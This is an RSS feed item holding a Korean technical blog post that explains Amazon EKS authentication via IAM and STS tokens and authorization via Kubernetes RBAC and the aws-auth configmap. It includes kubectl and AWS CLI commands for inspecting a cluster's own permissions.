      <link>https://imxsuu.tistory.com/14</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;EKS 인증(Authentication)/인가(Authorization)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;인증(Authentication)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;&lt;b&gt;외부 사용자&lt;/b&gt;&lt;/u&gt;가 EKS Cluster 에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;u&gt;&lt;b&gt;접속&lt;/b&gt;&lt;/u&gt;하는 과정 (&lt;b&gt;AWS IAM 사용&lt;/b&gt;)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc; color: #000000;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;인가(Authorization)&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: EKS Cluster&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;u&gt;내부 리소스 접근 권한&lt;/u&gt;&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Namespace, Pod, Deployment 등 &lt;b&gt;K8S RBAC 사용&lt;/b&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;877&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b96Btk/btsGqM8Uclo/0IQJlOZydiqbjMEAOxteP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b96Btk/btsGqM8Uclo/0IQJlOZydiqbjMEAOxteP1/img.png&quot; data-alt=&quot;https://kimalarm.tistory.com/65&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b96Btk/btsGqM8Uclo/0IQJlOZydiqbjMEAOxteP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb96Btk%2FbtsGqM8Uclo%2F0IQJlOZydiqbjMEAOxteP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;877&quot; height=&quot;640&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;877&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://kimalarm.tistory.com/65&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;RBAC 관련 krew 플러그인&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1712557618741&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 설치
kubectl krew install access-matrix rbac-tool rbac-view rolesum whoami

# k8s 인증된 주체 확인
kubectl whoami

# Show an RBAC access matrix for server resources
kubectl access-matrix # Review access to cluster-scoped resources
kubectl access-matrix --namespace default # Review access to namespaced resources in 'default'

# RBAC Lookup by subject (user/group/serviceaccount) name
kubectl rbac-tool lookup
kubectl rbac-tool lookup system:masters

kubectl rbac-tool lookup system:nodes # eks:node-bootstrapper
kubectl rbac-tool lookup system:bootstrappers # eks:node-bootstrapper
kubectl describe ClusterRole eks:node-bootstrapper

# RBAC List Policy Rules For subject (user/group/serviceaccount) name
kubectl rbac-tool policy-rules
kubectl rbac-tool policy-rules -e '^system:.*'
kubectl rbac-tool policy-rules -e '^system:authenticated'

# Generate ClusterRole with all available permissions from the target cluster
kubectl rbac-tool show

# Shows the subject for the current context with which one authenticates with the cluster
kubectl rbac-tool whoami

# Summarize RBAC roles for subjects : ServiceAccount(default), User, Group
kubectl rolesum -h
kubectl rolesum aws-node -n kube-system
kubectl rolesum -k User system:kube-proxy
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# [터미널1] A tool to visualize your RBAC permissions
kubectl rbac-view

## 이후 해당 작업용PC 공인 IP:8800 웹 접속 : 최초 접속 후 정보 가져오는데 다시 시간 걸림 (2~3분 정도 후 화면 출력됨) 
echo -e &quot;RBAC View Web http://$(curl -s ipinfo.io/ip):8800&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;인증/인가&lt;/span&gt; 완벽 분석 해보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;기존 방식은 인증은 &lt;u&gt;AWS IAM&lt;/u&gt;, 인가는 &lt;u&gt;K8S RBAC&lt;/u&gt;에서 처리하는 방식이었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;721&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhs5rX/btsGrg2O627/1OFkoxWcT9RtrZJ4petFsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhs5rX/btsGrg2O627/1OFkoxWcT9RtrZJ4petFsK/img.png&quot; data-alt=&quot;Amazon Web Services Korea - Amazon EKS 마이그레이션 요점정리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhs5rX/btsGrg2O627/1OFkoxWcT9RtrZJ4petFsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdhs5rX%2FbtsGrg2O627%2F1OFkoxWcT9RtrZJ4petFsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;721&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;721&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Amazon Web Services Korea - Amazon EKS 마이그레이션 요점정리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2023-05-31 오후 6.25.41.png&quot; data-origin-width=&quot;1590&quot; data-origin-height=&quot;1158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c6eARE/btsGtMGxVYe/nXUSD2xciCIY9x63povKy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c6eARE/btsGtMGxVYe/nXUSD2xciCIY9x63povKy1/img.png&quot; data-alt=&quot;https://devlos.tistory.com/75&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c6eARE/btsGtMGxVYe/nXUSD2xciCIY9x63povKy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc6eARE%2FbtsGtMGxVYe%2FnXUSD2xciCIY9x63povKy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1590&quot; height=&quot;1158&quot; data-filename=&quot;스크린샷 2023-05-31 오후 6.25.41.png&quot; data-origin-width=&quot;1590&quot; data-origin-height=&quot;1158&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://devlos.tistory.com/75&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1yVlC/btsGrYnjZeQ/Qck2i5zafLDAgU7rTCOp90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1yVlC/btsGrYnjZeQ/Qck2i5zafLDAgU7rTCOp90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1yVlC/btsGrYnjZeQ/Qck2i5zafLDAgU7rTCOp90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1yVlC%2FbtsGrYnjZeQ%2FQck2i5zafLDAgU7rTCOp90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;308&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;500&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;인증은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;u&gt;AWS IAM&lt;/u&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;, 인가는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;u&gt;K8S RBAC&lt;/u&gt;에서 처리하는 방식은 구조적인 문제가 있어 AWS에서 새로운 방식으로 인증을 진행하게 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;695&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQN3rG/btsGqZ1knxf/B1wKH2EFK3jkRC6pVqg73k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQN3rG/btsGqZ1knxf/B1wKH2EFK3jkRC6pVqg73k/img.png&quot; data-alt=&quot;https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQN3rG/btsGqZ1knxf/B1wKH2EFK3jkRC6pVqg73k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQN3rG%2FbtsGqZ1knxf%2FB1wKH2EFK3jkRC6pVqg73k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1260&quot; height=&quot;695&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1260&quot; data-origin-height=&quot;695&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;1.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt; &lt;/span&gt;kubectl 명령 &amp;rarr; aws eks get-token &amp;rarr; EKS Service endpoint(&lt;span style=&quot;background-color: #ffffff; color: #4d5156; text-align: left;&quot;&gt;STS&lt;/span&gt;)에 토큰 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rArr; 응답값 디코드(Pre-Signed URL이며 GetCallerIdentity)&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;STS&lt;/b&gt;(Security Token Service) : AWS 리소스에 대한 액세스를 제어할 수 있는 임시 보안 자격 증명(STS)을 생성하여 신뢰받는 사용자에게 제공할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventSource=sts.amazonaws.com&quot;&gt;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventSource=sts.amazonaws.com &lt;/a&gt;에서 이벤트 기록을 확인할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AWS CLI&lt;/b&gt; 버전 1.16.156 이상에서는 별도 aws-iam-authenticator 설치 없이 &lt;b&gt;aws eks get-token&lt;/b&gt;으로 사용 가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712558771181&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# sts caller id의 ARN 확인
aws sts get-caller-identity --query Arn

# kubeconfig 정보 확인
cat ~/.kube/config | yh

# Get  a token for authentication with an Amazon EKS cluster.
# This can be used as an alternative to the aws-iam-authenticator.
aws eks get-token help

# 임시 보안 자격 증명(토큰)을 요청 : expirationTimestamp 시간경과 시 토큰 재발급됨
aws eks get-token --cluster-name $CLUSTER_NAME | jq
aws eks get-token --cluster-name $CLUSTER_NAME | jq -r '.status.token'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kubeconfig 정보를 확인하여 user에 eks, get-token에 대한 권한이 있으면 해당 명령어를 사용해 토큰을 발급할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오전 11.17.37.png&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;402&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biGfSN/btsGwMNpxvX/0B5rWUnuBk4Wb8HGNMQ0S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biGfSN/btsGwMNpxvX/0B5rWUnuBk4Wb8HGNMQ0S0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biGfSN/btsGwMNpxvX/0B5rWUnuBk4Wb8HGNMQ0S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiGfSN%2FbtsGwMNpxvX%2F0B5rWUnuBk4Wb8HGNMQ0S0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;402&quot; data-filename=&quot;스크린샷 2024-04-11 오전 11.17.37.png&quot; data-origin-width=&quot;480&quot; data-origin-height=&quot;402&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 명령어로 토큰을 발급할 수 있는 이유는 ARN인 admin 계정이 administator IAM의 Full 권한을 가지고 있기 때문입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_스크린샷 2024-04-11 오전 11.30.46.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzP64n/btsGwiffs8n/KEibmN89sW0snHxneFmsK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzP64n/btsGwiffs8n/KEibmN89sW0snHxneFmsK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzP64n/btsGwiffs8n/KEibmN89sW0snHxneFmsK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzP64n%2FbtsGwiffs8n%2FKEibmN89sW0snHxneFmsK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;281&quot; data-filename=&quot;edited_스크린샷 2024-04-11 오전 11.30.46.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. kubectl의 &lt;a style=&quot;color: #000000;&quot; href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#client-go-credential-plugins&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;Client-Go&lt;/span&gt;&lt;/a&gt; 라이브러리는 &lt;span data-token-index=&quot;3&quot;&gt;Pre-Signed URL&lt;/span&gt;을 Bearer Token으로 EKS API Cluster Endpoint에 요청을 보냅니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;토큰을 &lt;a href=&quot;https://jwt.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JWT 사이트&lt;/a&gt;에 붙여넣어 디코드 정보(HS384 &amp;rarr; HS256) 및 PAYLOAD 정보 확인할 수 있습니다. 이는 일반적인 AWS API 호출과 유사합니다.&lt;/li&gt;
&lt;li&gt;PAYLOAD의 값을 &lt;a href=&quot;https://url-decode.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;URL Decode Online&lt;/a&gt;에서 DECODE로 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8ooY5/btsGwfJjlcM/iRgTQ4m8NLknN4ZLDsN5y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8ooY5/btsGwfJjlcM/iRgTQ4m8NLknN4ZLDsN5y0/img.png&quot; data-alt=&quot;https://sharing-for-us.tistory.com/39&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8ooY5/btsGwfJjlcM/iRgTQ4m8NLknN4ZLDsN5y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8ooY5%2FbtsGwfJjlcM%2FiRgTQ4m8NLknN4ZLDsN5y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;649&quot; height=&quot;761&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;649&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://sharing-for-us.tistory.com/39&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;499&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ha3mu/btsGyeo76vr/WspM4HhzArqEKYAX6yntL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ha3mu/btsGyeo76vr/WspM4HhzArqEKYAX6yntL1/img.png&quot; data-alt=&quot;https://youtu.be/zIZ6_tYujts?t=231 'AWS 보안 웨비나'&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ha3mu/btsGyeo76vr/WspM4HhzArqEKYAX6yntL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHa3mu%2FbtsGyeo76vr%2FWspM4HhzArqEKYAX6yntL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1025&quot; height=&quot;499&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;499&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://youtu.be/zIZ6_tYujts?t=231 'AWS 보안 웨비나'&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;AWS에서 사용하는 인증 프로세스인 Signature Version 4 (SigV4)는 Amazon 웹 서비스 API 요청을 안전하게 서명하는 데 사용됩니다. 이 서명은 AWS 서버에 요청을 보내는 클라이언트가 정당한 사용자임을 증명합니다. SigV4는 AWS 계정의 액세스 키 ID와 비밀 액세스 키를 사용하여 요청에 서명합니다. 이 서명 프로세스는 요청 헤더에 포함되며, 요청을 보내기 전에 계산됩니다. SigV4 서명 프로세스는 요청의 URL, HTTP 메소드, 헤더 및 본문을 사용하여 정해진 규칙에 따라 서명을 생성합니다. 이 서명은 요청의 무결성을 보장하고, 요청이 중간에 변경되지 않았음을 확인합니다. 또한 SigV4를 사용하면 AWS의 보안 정책을 준수하고, 클라이언트가 인증된 요청을 보내는 데 도움이 됩니다. AWS에서는 SigV4를 사용하여 API 요청을 보낼 때 보안을 강화하고 인증된 요청만 허용하는 등의 보안 기능을 제공합니다. &lt;i&gt;[출처 : ChatGPT]&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. EKS API는 &lt;span data-token-index=&quot;1&quot;&gt;Token Review&lt;/span&gt;를 &lt;a href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#webhook-token-authentication&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span data-token-index=&quot;3&quot;&gt;Webhook token authenticator&lt;/span&gt;&lt;/a&gt;에 요청 &lt;br /&gt;&amp;rArr; (STS GetCallerIdentity 호출) AWS IAM 해당 &lt;span style=&quot;color: #d44c47;&quot; data-token-index=&quot;5&quot;&gt;호출 인증 완료&lt;/span&gt; 후 User/Role에 대한 &lt;span data-token-index=&quot;7&quot;&gt;ARN 반환&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naver.com/alice_k106/221967218283&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;span&gt;Webhook token authenticator&lt;/span&gt;는 aws-iam-authenticator를 사용&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=GetCallerIdentity&quot;&gt;https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=GetCallerIdentity&lt;/a&gt; 에서 GetCallerIdentity 이벤트 기록을 확인할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712811105538&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# tokenreviews api 리소스 확인 
kubectl api-resources | grep authentication

# List the fields for supported resources.
kubectl explain tokenreviews&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. EKS에서 쿠버네티스 &lt;b&gt;RBAC 인가&lt;/b&gt;를 처리합니다. AWS에 인가 서비스가 있으면 좋겠지만 플랫폼 업데이트 등에 따라 업데이트되기 어려우므로 컨피그 맵을 사용합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해당 IAM User/Role 확인이 되면 k8s aws-auth configmap에서 &lt;b&gt;mapping 정보&lt;/b&gt;를 확인하게 됩니다.&lt;/li&gt;
&lt;li&gt;aws-auth 컨피그맵에 'IAM 사용자, 역할 arm, K8S 오브젝트' 로 권한 확인 후 &lt;b&gt;k8s 인가 허가&lt;/b&gt;가 되면 최종적으로 동작을 실행합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;EKS를 생성한 IAM principal&lt;/b&gt;은 aws-auth와 상관없이 kubernetes-admin Username으로 &lt;b&gt;system:masters 그룹&lt;/b&gt;에 권한을 가집니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1712811410132&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Webhook api 리소스 확인 
kubectl api-resources | grep Webhook

# validatingwebhookconfigurations 리소스 확인
kubectl get validatingwebhookconfigurations
kubectl get validatingwebhookconfigurations eks-aws-auth-configmap-validation-webhook -o yaml | kubectl neat | yh

# aws-auth 컨피그맵에 user가 있는지 확인
kubectl get cm -n kube-system aws-auth -o yaml | kubectl neat | yh

# EKS 설치한 IAM User 정보 &amp;gt;&amp;gt; system:authenticated는 어떤 방식으로 추가가 되었는지 궁금???
kubectl rbac-tool whoami

# system:masters , system:authenticated 그룹의 정보 확인
kubectl rbac-tool lookup system:masters
kubectl rbac-tool lookup system:authenticated
kubectl rolesum -k Group system:masters
kubectl rolesum -k Group system:authenticated

# system:masters 그룹이 사용 가능한 클러스터 롤 확인 : cluster-admin
kubectl describe clusterrolebindings.rbac.authorization.k8s.io cluster-admin

# cluster-admin 의 PolicyRule 확인 : 모든 리소스  사용 가능!
kubectl describe clusterrole cluster-admin

# system:authenticated 그룹이 사용 가능한 클러스터 롤 확인
kubectl describe ClusterRole system:discovery
kubectl describe ClusterRole system:public-info-viewer
kubectl describe ClusterRole system:basic-user
kubectl describe ClusterRole eks:podsecuritypolicy:privileged&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #787774;&quot; data-token-index=&quot;0&quot;&gt;mapUsers에 IAM User의 ARN 정보가 실리는데 해당 정보가 공개될 경우 configmap에 접근할 수 있는 모든 사용자가 편집을 할 가능성이 있기 때문에 (실수로 지울 가능성) 생략이 되어 있는 모습을 확인할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-11 오후 2.11.12.png&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;299&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mjAbe/btsGw8JCVxz/4puls5ACBA0nEYgKaoLxrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mjAbe/btsGw8JCVxz/4puls5ACBA0nEYgKaoLxrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mjAbe/btsGw8JCVxz/4puls5ACBA0nEYgKaoLxrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmjAbe%2FbtsGw8JCVxz%2F4puls5ACBA0nEYgKaoLxrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 